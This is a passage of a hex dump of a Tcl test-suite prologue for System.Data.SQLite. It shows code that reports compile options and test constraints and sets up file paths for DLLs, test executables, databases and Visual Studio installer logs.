20 le-time options 236f0 66 6f 72 20 53 51 4c 69 74 65 20 69 6e 74 65 72 for SQLite inter 23700 6f 70 20 61 73 73 65 6d 62 6c 79 2e 2e 2e 20 22 op assembly... " 23710 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 .... if 23720 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 {[catch {.. 23730 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 object i 23740 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f nvoke -flags +No 23750 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 nPublic \.. 23760 20 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 Syste 23770 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 m.Data.SQLite.SQ 23780 4c 69 74 65 33 20 49 6e 74 65 72 6f 70 43 6f 6d Lite3 InteropCom 23790 70 69 6c 65 4f 70 74 69 6f 6e 73 0d 0a 20 20 20 pileOptions.. 237a0 20 20 20 20 20 20 20 7d 20 63 6f 6d 70 69 6c 65 } compile 237b0 4f 70 74 69 6f 6e 73 5d 20 3d 3d 20 30 7d 20 74 Options] == 0} t 237c0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 237d0 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs$::test 237e0 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 237f0 41 72 67 73 20 5b 66 6f 72 6d 61 74 4c 69 73 74 Args [formatList 23800 20 5b 6c 73 6f 72 74 20 5c 0d 0a 20 20 20 20 20 [lsort \.. 23810 20 20 20 20 20 20 20 20 20 20 20 24 63 6f 6d 70 $comp 23820 69 6c 65 4f 70 74 69 6f 6e 73 5d 20 3c 6e 6f 6e ileOptions] <non 23830 65 3e 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 e>] \n].. 23840 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 23850 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ 23860 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 75 ::test_channel u 23870 6e 6b 6e 6f 77 6e 5c 6e 0d 0a 20 20 20 20 20 20 nknown\n.. 23880 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 23890 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 238a0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 # NOTE: S 238b0 68 6f 77 20 74 68 65 20 61 63 74 69 76 65 20 74 how the active t 238c0 65 73 74 20 63 6f 6e 73 74 72 61 69 6e 74 73 2e est constraints. 238d0 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 238e0 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs $::te 238f0 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 st_channel [appe 23900 6e 64 41 72 67 73 20 22 2d 2d 2d 2d 20 63 6f 6e ndArgs "---- con 23910 73 74 72 61 69 6e 74 73 3a 20 22 20 5c 0d 0a 20 straints: " \.. 23920 20 20 20 20 20 20 20 20 20 20 20 5b 66 6f 72 6d [form 23930 61 74 4c 69 73 74 20 5b 6c 73 6f 72 74 20 5b 67 atList [lsort [g 23940 65 74 43 6f 6e 73 74 72 61 69 6e 74 73 5d 5d 20 etConstraints]] 23950 3c 6e 6f 6e 65 3e 5d 20 5c 6e 5d 0d 0a 0d 0a 20 <none>] \n].... 23960 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 23970 20 20 23 20 4e 4f 54 45 3a 20 53 61 76 65 20 74 # NOTE: Save t 23980 68 65 20 74 65 73 74 20 63 6f 6e 73 74 72 61 69 he test constrai 23990 6e 74 73 20 66 6f 72 20 75 73 65 20 62 79 20 74 nts for use by t 239a0 68 72 65 61 64 73 20 63 72 65 61 74 65 64 20 69 hreads created i 239b0 6e 20 74 68 69 73 0d 0a 20 20 20 20 20 20 20 20 n this.. 239c0 23 20 20 20 20 20 20 20 61 70 70 6c 69 63 61 74 # applicat 239d0 69 6f 6e 20 64 6f 6d 61 69 6e 2e 20 20 54 68 69 ion domain. Thi 239e0 73 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 62 s is necessary b 239f0 65 63 61 75 73 65 20 61 6c 6c 20 74 68 65 20 45 ecause all the E 23a00 61 67 6c 65 0d 0a 20 20 20 20 20 20 20 20 23 20 agle.. # 23a10 20 20 20 20 20 20 22 74 65 73 74 20 63 6f 6e 74 "test cont 23a20 65 78 74 22 20 69 6e 66 6f 72 6d 61 74 69 6f 6e ext" information 23a30 20 69 73 20 70 65 72 2d 74 68 72 65 61 64 2e 0d is per-thread.. 23a40 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 23a50 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 if {![info e 23a60 78 69 73 74 73 20 3a 3a 74 65 73 74 5f 63 6f 6e xists ::test_con 23a70 73 74 72 61 69 6e 74 73 5d 7d 20 74 68 65 6e 20 straints]} then 23a80 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 {.. set 23a90 20 3a 3a 74 65 73 74 5f 63 6f 6e 73 74 72 61 69 ::test_constrai 23aa0 6e 74 73 20 24 3a 3a 65 61 67 6c 65 5f 74 65 73 nts$::eagle_tes 23ab0 74 73 28 63 6f 6e 73 74 72 61 69 6e 74 73 29 0d ts(constraints). 23ac0 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 23ad0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 23ae0 20 23 20 4e 4f 54 45 3a 20 4c 6f 61 64 20 74 68 # NOTE: Load th 23af0 65 20 22 61 66 74 65 72 2d 63 6f 6e 73 74 72 61 e "after-constra 23b00 69 6e 74 73 22 20 63 75 73 74 6f 6d 20 70 65 72 ints" custom per 23b10 2d 75 73 65 72 20 61 6e 64 2f 6f 72 20 70 65 72 -user and/or per 23b20 2d 68 6f 73 74 0d 0a 20 20 20 20 20 20 20 20 23 -host.. # 23b30 20 20 20 20 20 20 20 74 65 73 74 20 73 65 74 74 test sett 23b40 69 6e 67 73 20 6e 6f 77 2e 0d 0a 20 20 20 20 20 ings now... 23b50 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 75 70 #.. up 23b60 6c 65 76 65 6c 20 31 20 5b 6c 69 73 74 20 6c 6f level 1 [list lo 23b70 61 64 53 51 4c 69 74 65 54 65 73 74 53 65 74 74 adSQLiteTestSett 23b80 69 6e 67 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 ings $::test_cha 23b90 6e 6e 65 6c 20 2e 61 66 74 65 72 5d 0d 0a 0d 0a nnel .after].... 23ba0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 23bb0 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 6e 65 # NOTE: If ne 23bc0 63 65 73 73 61 72 79 2c 20 65 6e 61 62 6c 65 20 cessary, enable 23bd0 73 68 61 72 65 64 2d 63 61 63 68 65 20 6d 6f 64 shared-cache mod 23be0 65 20 6e 6f 77 2e 0d 0a 20 20 20 20 20 20 20 20 e now... 23bf0 23 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b #.. if {[ 23c00 68 61 73 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e hasRuntimeOption 23c10 20 73 68 61 72 65 64 43 61 63 68 65 5d 7d 20 74 sharedCache]} t 23c20 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 23c30 20 65 6e 61 62 6c 65 53 68 61 72 65 64 43 61 63 enableSharedCac 23c40 68 65 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e he$::test_chann 23c50 65 6c 20 74 72 75 65 0d 0a 20 20 20 20 20 20 20 el true.. 23c60 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d }.... #. 23c70 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a . # NOTE: 23c80 20 53 68 6f 77 20 77 68 65 6e 20 6f 75 72 20 74 Show when our t 23c90 65 73 74 73 20 61 63 74 75 61 6c 6c 79 20 62 65 ests actually be 23ca0 67 61 6e 20 28 6e 6f 77 29 2e 0d 0a 20 20 20 20 gan (now)... 23cb0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 74 #.. t 23cc0 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts $::test_cha 23cd0 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 23ce0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 23cf0 22 2d 2d 2d 2d 20 53 79 73 74 65 6d 2e 44 61 74 "---- System.Dat 23d00 61 2e 53 51 4c 69 74 65 20 74 65 73 74 73 20 62 a.SQLite tests b 23d10 65 67 61 6e 20 61 74 20 22 20 5c 0d 0a 20 20 20 egan at " \.. 23d20 20 20 20 20 20 20 20 20 20 5b 63 6c 6f 63 6b 20 [clock 23d30 66 6f 72 6d 61 74 20 5b 63 6c 6f 63 6b 20 73 65 format [clock se 23d40 63 6f 6e 64 73 5d 5d 20 5c 6e 5d 0d 0a 20 20 20 conds]] \n].. 23d50 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a }.. }..... 23d60 20 20 20 20 70 72 6f 63 20 72 75 6e 53 51 4c 69 proc runSQLi 23d70 74 65 54 65 73 74 46 69 6c 65 73 50 72 6f 6c 6f teTestFilesProlo 23d80 67 75 65 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 gue {} {.. 23d90 75 70 6c 65 76 65 6c 20 31 20 7b 0d 0a 20 20 20 uplevel 1 {.. 23da0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 23db0 23 20 4e 4f 54 45 3a 20 53 65 74 75 70 20 74 68 # NOTE: Setup th 23dc0 65 20 76 61 72 69 61 62 6c 65 73 20 74 68 61 74 e variables that 23dd0 20 72 65 66 65 72 20 74 6f 20 74 68 65 20 76 61 refer to the va 23de0 72 69 6f 75 73 20 6e 6f 6e 2d 64 61 74 61 20 66 rious non-data f 23df0 69 6c 65 73 0d 0a 20 20 20 20 20 20 20 20 23 20 iles.. # 23e00 20 20 20 20 20 20 72 65 71 75 69 72 65 64 20 62 required b 23e10 79 20 74 68 65 20 74 65 73 74 73 20 69 6e 20 74 y the tests in t 23e20 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 his file... 23e30 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 73 65 #.. se 23e40 74 20 65 6e 74 69 74 79 46 72 61 6d 65 77 6f 72 t entityFramewor 23e50 6b 44 6c 6c 46 69 6c 65 20 5c 0d 0a 20 20 20 20 kDllFile \.. 23e60 20 20 20 20 20 20 20 20 5b 67 65 74 42 75 69 6c [getBuil 23e70 64 46 69 6c 65 4e 61 6d 65 20 45 6e 74 69 74 79 dFileName Entity 23e80 46 72 61 6d 65 77 6f 72 6b 2e 64 6c 6c 5d 0d 0a Framework.dll].. 23e90 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 69 6e .. set in 23ea0 73 74 61 6c 6c 65 72 45 78 65 46 69 6c 65 20 5b stallerExeFile [ 23eb0 67 65 74 42 75 69 6c 64 46 69 6c 65 4e 61 6d 65 getBuildFileName 23ec0 20 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 5d 0d Installer.exe]. 23ed0 0a 20 20 20 20 20 20 20 20 73 65 74 20 73 71 6c . set sql 23ee0 69 74 65 44 65 73 69 67 6e 65 72 44 6c 6c 46 69 iteDesignerDllFi 23ef0 6c 65 20 5b 67 65 74 42 75 69 6c 64 46 69 6c 65 le [getBuildFile 23f00 4e 61 6d 65 20 53 51 4c 69 74 65 2e 44 65 73 69 Name SQLite.Desi 23f10 67 6e 65 72 2e 64 6c 6c 5d 0d 0a 0d 0a 20 20 20 gner.dll].... 23f20 20 20 20 20 20 73 65 74 20 73 79 73 74 65 6d 44 set systemD 23f30 61 74 61 53 51 4c 69 74 65 44 6c 6c 46 69 6c 65 ataSQLiteDllFile 23f40 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 23f50 5b 67 65 74 42 75 69 6c 64 46 69 6c 65 4e 61 6d [getBuildFileNam 23f60 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 e System.Data.SQ 23f70 4c 69 74 65 2e 64 6c 6c 5d 0d 0a 0d 0a 20 20 20 Lite.dll].... 23f80 20 20 20 20 20 73 65 74 20 73 79 73 74 65 6d 44 set systemD 23f90 61 74 61 53 51 4c 69 74 65 4c 69 6e 71 44 6c 6c ataSQLiteLinqDll 23fa0 46 69 6c 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 File \.. 23fb0 20 20 20 20 5b 67 65 74 42 75 69 6c 64 46 69 6c [getBuildFil 23fc0 65 4e 61 6d 65 20 53 79 73 74 65 6d 2e 44 61 74 eName System.Dat 23fd0 61 2e 53 51 4c 69 74 65 2e 4c 69 6e 71 2e 64 6c a.SQLite.Linq.dl 23fe0 6c 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 l].... se 23ff0 74 20 73 79 73 74 65 6d 44 61 74 61 53 51 4c 69 t systemDataSQLi 24000 74 65 45 66 36 44 6c 6c 46 69 6c 65 20 5c 0d 0a teEf6DllFile \.. 24010 20 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 [get 24020 42 75 69 6c 64 46 69 6c 65 4e 61 6d 65 20 53 79 BuildFileName Sy 24030 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 stem.Data.SQLite 24040 2e 45 46 36 2e 64 6c 6c 5d 0d 0a 0d 0a 20 20 20 .EF6.dll].... 24050 20 20 20 20 20 73 65 74 20 74 65 73 74 45 78 65 set testExe 24060 46 69 6c 65 20 5b 67 65 74 42 75 69 6c 64 46 69 File [getBuildFi 24070 6c 65 4e 61 6d 65 20 74 65 73 74 2e 65 78 65 5d leName test.exe] 24080 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 74 65 .. set te 24090 73 74 4c 69 6e 71 45 78 65 46 69 6c 65 20 5b 67 stLinqExeFile [g 240a0 65 74 42 75 69 6c 64 46 69 6c 65 4e 61 6d 65 20 etBuildFileName 240b0 74 65 73 74 6c 69 6e 71 2e 65 78 65 5d 0d 0a 20 testlinq.exe].. 240c0 20 20 20 20 20 20 20 73 65 74 20 74 65 73 74 45 set testE 240d0 66 36 45 78 65 46 69 6c 65 20 5b 67 65 74 42 75 f6ExeFile [getBu 240e0 69 6c 64 46 69 6c 65 4e 61 6d 65 20 74 65 73 74 ildFileName test 240f0 65 66 36 2e 65 78 65 5d 0d 0a 0d 0a 20 20 20 20 ef6.exe].... 24100 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 24110 20 4e 4f 54 45 3a 20 53 65 74 75 70 20 74 68 65 NOTE: Setup the 24120 20 76 61 72 69 61 62 6c 65 73 20 74 68 61 74 20 variables that 24130 72 65 66 65 72 20 74 6f 20 74 68 65 20 76 61 72 refer to the var 24140 69 6f 75 73 20 64 61 74 61 20 66 69 6c 65 73 0d ious data files. 24150 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 24160 20 72 65 71 75 69 72 65 64 20 62 79 20 74 68 65 required by the 24170 20 74 65 73 74 73 20 69 6e 20 74 68 69 73 20 66 tests in this f 24180 69 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d ile... #. 24190 0a 20 20 20 20 20 20 20 20 73 65 74 20 74 65 73 . set tes 241a0 74 4c 69 6e 71 4f 75 74 46 69 6c 65 20 5b 66 69 tLinqOutFile [fi 241b0 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 5b 66 le nativename [f 241c0 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 ile join \.. 241d0 20 20 20 20 20 20 20 20 5b 67 65 74 53 51 4c 69 [getSQLi 241e0 74 65 54 65 73 74 44 61 74 61 50 61 74 68 5d 20 teTestDataPath] 241f0 74 65 73 74 6c 69 6e 71 2e 6f 75 74 5d 5d 0d 0a testlinq.out]].. 24200 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 6e 6f .. set no 24210 72 74 68 77 69 6e 64 45 66 44 62 46 69 6c 65 20 rthwindEfDbFile 24220 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 [file nativename 24230 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 [file join \.. 24240 20 20 20 20 20 20 20 20 20 20 20 5b 66 69 6c 65 [file 24250 20 64 69 72 6e 61 6d 65 20 5b 66 69 6c 65 20 64 dirname [file d 24260 69 72 6e 61 6d 65 20 5b 67 65 74 53 51 4c 69 74 irname [getSQLit 24270 65 54 65 73 74 44 61 74 61 50 61 74 68 5d 5d 5d eTestDataPath]]] 24280 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 24290 74 65 73 74 6c 69 6e 71 20 6e 6f 72 74 68 77 69 testlinq northwi 242a0 6e 64 45 46 2e 64 62 5d 5d 0d 0a 0d 0a 20 20 20 ndEF.db]].... 242b0 20 20 20 20 20 73 65 74 20 6e 6f 6e 57 61 6c 44 set nonWalD 242c0 62 46 69 6c 65 20 5b 66 69 6c 65 20 6e 61 74 69 bFile [file nati 242d0 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 vename [file joi 242e0 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n \.. 242f0 20 5b 67 65 74 53 51 4c 69 74 65 54 65 73 74 44 [getSQLiteTestD 24300 61 74 61 50 61 74 68 5d 20 6e 6f 6e 57 61 6c 2e ataPath] nonWal. 24310 64 62 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 db]].... 24320 73 65 74 20 77 61 6c 44 62 46 69 6c 65 20 5b 66 set walDbFile [f 24330 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 5b ile nativename [ 24340 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 20 20 file join \.. 24350 20 20 20 20 20 20 20 20 20 5b 67 65 74 53 51 4c [getSQL 24360 69 74 65 54 65 73 74 44 61 74 61 50 61 74 68 5d iteTestDataPath] 24370 20 77 61 6c 2e 64 62 5d 5d 0d 0a 0d 0a 20 20 20 wal.db]].... 24380 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 24390 23 20 4e 4f 54 45 3a 20 54 68 65 20 76 61 72 69 # NOTE: The vari 243a0 6f 75 73 20 69 6e 73 74 61 6c 6c 2f 75 6e 69 6e ous install/unin 243b0 73 74 61 6c 6c 20 6c 6f 67 20 66 69 6c 65 73 20 stall log files 243c0 75 73 65 64 20 74 6f 20 74 65 73 74 20 74 68 65 used to test the 243d0 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 243e0 20 20 64 65 73 69 67 6e 2d 74 69 6d 65 20 63 6f design-time co 243f0 6d 70 6f 6e 65 6e 74 20 69 6e 73 74 61 6c 6c 65 mponent installe 24400 72 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 r... #.. 24410 20 20 20 20 20 20 20 73 65 74 20 74 65 73 74 49 set testI 24420 6e 73 74 61 6c 6c 56 73 32 30 30 35 4c 6f 67 46 nstallVs2005LogF 24430 69 6c 65 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 ile [file native 24440 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 name [file join 24450 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b \.. [ 24460 67 65 74 53 51 4c 69 74 65 54 65 73 74 44 61 74 getSQLiteTestDat 24470 61 50 61 74 68 5d 20 49 6e 73 74 61 6c 6c 65 72 aPath] Installer 24480 5f 54 65 73 74 5f 56 73 32 30 30 35 2e 6c 6f 67 _Test_Vs2005.log 24490 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 ]].... se 244a0 74 20 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 t testInstallVs2 244b0 30 30 38 4c 6f 67 46 69 6c 65 20 5b 66 69 6c 65 008LogFile [file 244c0 20 6e 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c nativename [fil 244d0 65 20 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 20 20 e join \.. 244e0 20 20 20 20 20 20 5b 67 65 74 53 51 4c 69 74 65 [getSQLite 244f0 54 65 73 74 44 61 74 61 50 61 74 68 5d 20 49 6e TestDataPath] In 24500 73 74 61 6c 6c 65 72 5f 54 65 73 74 5f 56 73 32 staller_Test_Vs2 24510 30 30 38 2e 6c 6f 67 5d 5d 0d 0a 0d 0a 20 20 20 008.log]].... 24520 20 20 20 20 20 73 65 74 20 74 65 73 74 49 6e 73 set testIns 24530 74 61 6c 6c 56 73 32 30 31 30 4c 6f 67 46 69 6c tallVs2010LogFil 24540 65 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 e [file nativena 24550 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d me [file join \. 24560 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 . [ge 24570 74 53 51 4c 69 74 65 54 65 73 74 44 61 74 61 50 tSQLiteTestDataP 24580 61 74 68 5d 20 49 6e 73 74 61 6c 6c 65 72 5f 54 ath] Installer_T 24590 65 73 74 5f 56 73 32 30 31 30 2e 6c 6f 67 5d 5d est_Vs2010.log]] 245a0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 .... set 245b0 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 31 testInstallVs201 245c0 32 4c 6f 67 46 69 6c 65 20 5b 66 69 6c 65 20 6e 2LogFile [file n 245d0 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 ativename [file 245e0 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 join \.. 245f0 20 20 20 20 5b 67 65 74 53 51 4c 69 74 65 54 65 [getSQLiteTe 24600 73 74 44 61 74 61 50 61 74 68 5d 20 49 6e 73 74 stDataPath] Inst 24610 61 6c 6c 65 72 5f 54 65 73 74 5f 56 73 32 30 31 aller_Test_Vs201 24620 32 2e 6c 6f 67 5d 5d 0d 0a 0d 0a 20 20 20 20 20 2.log]].... 24630 20 20 20 73 65 74 20 74 65 73 74 49 6e 73 74 61 set testInsta 24640 6c 6c 56 73 32 30 31 33 4c 6f 67 46 69 6c 65 20 llVs2013LogFile 24650 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 [file nativename 24660 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 [file join \.. 24670 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 53 [getS 24680 51 4c 69 74 65 54 65 73 74 44 61 74 61 50 61 74 QLiteTestDataPat 24690 68 5d 20 49 6e 73 74 61 6c 6c 65 72 5f 54 65 73 h] Installer_Tes 246a0 74 5f 56 73 32 30 31 33 2e 6c 6f 67 5d 5d 0d 0a t_Vs2013.log]].. 246b0 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 74 65 .. set te 246c0 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 31 35 4c stInstallVs2015L 246d0 6f 67 46 69 6c 65 20 5b 66 69 6c 65 20 6e 61 74 ogFile [file nat 246e0 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f ivename [file jo 246f0 69 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 in \.. 24700 20 20 5b 67 65 74 53 51 4c 69 74 65 54 65 73 74 [getSQLiteTest 24710 44 61 74 61 50 61 74 68 5d 20 49 6e 73 74 61 6c DataPath] Instal 24720 6c 65 72 5f 54 65 73 74 5f 56 73 32 30 31 35 2e ler_Test_Vs2015. 24730 6c 6f 67 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 log]].... 24740 20 73 65 74 20 74 65 73 74 55 6e 69 6e 73 74 61 set testUninsta 24750 6c 6c 56 73 32 30 30 35 4c 6f 67 46 69 6c 65 20 llVs2005LogFile 24760 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 [file nativename 24770 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 [file join \.. 24780 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 53 [getS 24790 51 4c 69 74 65 54 65 73 74 44 61 74 61 50 61 74 QLiteTestDataPat 247a0 68 5d 20 55 6e 69 6e 73 74 61 6c 6c 65 72 5f 54 h] Uninstaller_T 247b0 65 73 74 5f 56 73 32 30 30 35 2e 6c 6f 67 5d 5d est_Vs2005.log]] 247c0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 .... set 247d0 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 32 testUninstallVs2 247e0 30 30 38 4c 6f 67 46 69 6c 65 20 5b 66 69 6c 65 008LogFile [file 247f0 20 6e 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c nativename [fil 24800 65 20 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 20 20 e join \.. 24810 20 20 20 20 20 20 5b 67 65 74 53 51 4c 69 74 65 [getSQLite 24820 54 65 73 74 44 61 74 61 50 61 74 68 5d 20 55 6e TestDataPath] Un 24830 69 6e 73 74 61 6c 6c 65 72 5f 54 65 73 74 5f 56 installer_Test_V 24840 73 32 30 30 38 2e 6c 6f 67 5d 5d 0d 0a 0d 0a 20 s2008.log]].... 24850 20 20 20 20 20 20 20 73 65 74 20 74 65 73 74 55 set testU 24860 6e 69 6e 73 74 61 6c 6c 56 73 32 30 31 30 4c 6f ninstallVs2010Lo 24870 67 46 69 6c 65 20 5b 66 69 6c 65 20 6e 61 74 69 gFile [file nati 24880 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 vename [file joi 24890 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n \.. 248a0 20 5b 67 65 74 53 51 4c 69 74 65 54 65 73 74 44 [getSQLiteTestD 248b0 61 74 61 50 61 74 68 5d 20 55 6e 69 6e 73 74 61 ataPath] Uninsta 248c0 6c 6c 65 72 5f 54 65 73 74 5f 56 73 32 30 31 30 ller_Test_Vs2010 248d0 2e 6c 6f 67 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 .log]].... 248e0 20 20 73 65 74 20 74 65 73 74 55 6e 69 6e 73 74 set testUninst 248f0 61 6c 6c 56 73 32 30 31 32 4c 6f 67 46 69 6c 65 allVs2012LogFile 24900 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d [file nativenam 24910 65 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5c 0d 0a e [file join \.. 24920 20 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 [get 24930 53 51 4c 69 74 65 54 65 73 74 44 61 74 61 50 61 SQLiteTestDataPa 24940 74 68 5d 20 55 6e 69 6e 73 74 61 6c 6c 65 72 5f th] Uninstaller_ 24950 54 65 73 74 5f 56 73 32 30 31 32 2e 6c 6f 67 5d Test_Vs2012.log] 24960 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 74 ].... set 24970 20 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 testUninstallVs 24980 32 30 31 33 4c 6f 67 46 69 6c 65 20 5b 66 69 6c 2013LogFile [fil 24990 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 e nativename [fi 249a0 6c 65 20 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 20 le join \.. 249b0 20 20 20 20 20 20 20 5b 67 65 74 53 51 4c 69 74 [getSQLit 249c0 65 54 65 73 74 44 61 74 61 50 61 74 68 5d 20 55 eTestDataPath] U 249d0 6e 69 6e 73 74 61 6c 6c 65 72 5f 54 65 73 74 5f ninstaller_Test_ 249e0 56 73 32 30 31 33 2e 6c 6f 67 5d 5d 0d 0a 0d 0a Vs2013.log]].... 249f0 20 20 20 20 20 20 20 20 73 65 74 20 74 65 73 74 set test 24a00 55 6e 69 6e 73 74 61 6c 6c 56 73 32 30 31 35 4c UninstallVs2015L 24a10 6f 67 46 69 6c 65 20 5b 66 69 6c 65 20 6e 61 74 ogFile [file nat 24a20 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f ivename [file jo 24a30 69 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 in \.. 24a40 20 20 5b 67 65 74 53 51 4c 69 74 65 54 65 73 74 [getSQLiteTest 24a50 44 61 74 61 50 61 74 68 5d 20 55 6e 69 6e 73 74 DataPath] Uninst 24a60 61 6c 6c 65 72 5f 54 65 73 74 5f 56 73 32 30 31 aller_Test_Vs201 24a70 35 2e 6c 6f 67 5d 5d 0d 0a 0d 0a 20 20 20 20 20 5.log]].... 24a80 20 20 20 23 23 23 23 23 23 23 23 23 23 23 23 23 ############# 24a90 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 24aa0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 24ab0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 24ac0 23 23 23 23 23 23 23 23 23 23 0d 0a 0d 0a 20 20 ##########.... 24ad0 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 